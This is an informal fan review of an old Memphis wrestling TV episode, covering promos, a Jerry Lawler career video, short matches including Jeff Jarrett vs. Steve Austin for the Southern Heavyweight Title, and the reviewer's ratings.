Dundee jumps Gaylord before Gaylord can go for an interview. Dundee rams him into the post to get rid of him. He talks about how he’s fighting to get his son Jamie (JC Ice) back. I forgot about that. Dundee says he’ll do whatever it takes to get him back and that includes beating up everyone that Jamie brings in.

Jerry Lawler will be at some hardware stores next week.

House show ads.

We hear about how Terry Funk won’t show up and defend the world title. We get a clip of him winning the title off Lawler in November. Eddie Gilbert tried to interfere and wound up costing Lawler the title. We also hear about the bounties that Funk put out over the last few months.

We finally hear from Funk for the first time in the nearly three months I’ve been watching this show. He’s being forced to come back to face Lawler in a rematch which will be two days after this show. Thinking of Memphis makes him spit and the people are even worse. Lawler is the worst of all of them but isn’t man enough to take the title from Funk. Apparently Jackie Fargo is going to be the referee again and Funk thinks he’s an old pervert. The match should be in Amarillo, Texas where men are men. Funk is only 46 here and he’s as evil as ever. Maybe he’ll stomp Fargo so Fargo’s heart will stop. That could be awesome.

Video on the career of Jerry Lawler. We get clips of him fighting probably 25 legends in a very impressive package. Pretty much every big name from the era (other than Flair, who I’ve seen Lawler face in Memphis when Flair was NWA Champion) is shown with Lawler beating them up, including both Funks, Hogan, Race, Savage, Rude, Hennig, and about twenty others. It’s really cool stuff. We also get a look at his work outside of the ring with kids. We also see clips from the Jerry Lawler Show, which is exactly what it sounds like and was a real talk/variety show that aired in Memphis. The whole thing runs almost nine minutes.

Mid-South show ad, including the Lawler vs. Funk match.

Lawler comes out and talks about the match coming up. It’s taken forever to get here but he’s ready. He’s not really fired up for it but is more calm and cautious. Win, lose or draw it’ll be his last match for awhile to heal from some injuries.

We get highlights from El Gran Pistolero vs. Danny Davis for the Light Heavyweight Title. Are there any matches on this show? The match is thrown out.

Davis says he was expecting a match and got a fight, and that’s not cool. He’ll fight Pistolero anytime.

Curtis Thompson/Brad Collins vs. Eric Embry/Tom Pritchard

Pritchard and Collins get things going. Tom and Eric are Texas guys so they keep explaining how awesome their home state is. It’s off to Embry who gets in some shots and then back to Pritchard. Both heels keep jumping between the apron and commentary. Pritchard tries a slingshot suplex that goes so badly it would make Tully Blanchard shoot himself so he could roll over in his grave. Embry hits a top rope headbutt for the pin. Thompson was never in the match.

The Texans make fun of Lawler and Tennessee.

Southern Heavyweight Title: Jeff Jarrett vs. Steve Austin

The title is vacant coming in. Austin takes over quickly and stomps him down into the corner. JC Ice has the referee and Jeff’s small package is missed. Austin hooks a chinlock which only lasts a few seconds. Jeff tries to speed things up but walks into a knee to the stomach. Austin rolls him up in the corner and puts his feet on the ropes for two. A foreign object shot gets the same. Jeff hooks a quick sunset flip and gets the title back.

Rating: D+. Not the worst match ever but it was only a few minutes long and neither guy was all that great yet. This was more about pushing the Monday matches forward because of the post match stuff. Not much to see here and Jeff has the title back that he never really lost in the first place.

Jarrett gets beaten down by Austin and the other Texas guys but Eddie Gilbert makes the save. Jarrett says it ends Monday. Gilbert says bring on the blood.

Overall Rating: C+. This was much more like a go home show rather than a regular show which is an interesting change. The Lawler video is awesome and could easily be a HOF/retirement video all on its own. The matches were short here but it set up Funk vs. Lawler on Monday which is the whole point here. Good stuff but it could have been great with some better wrestling.

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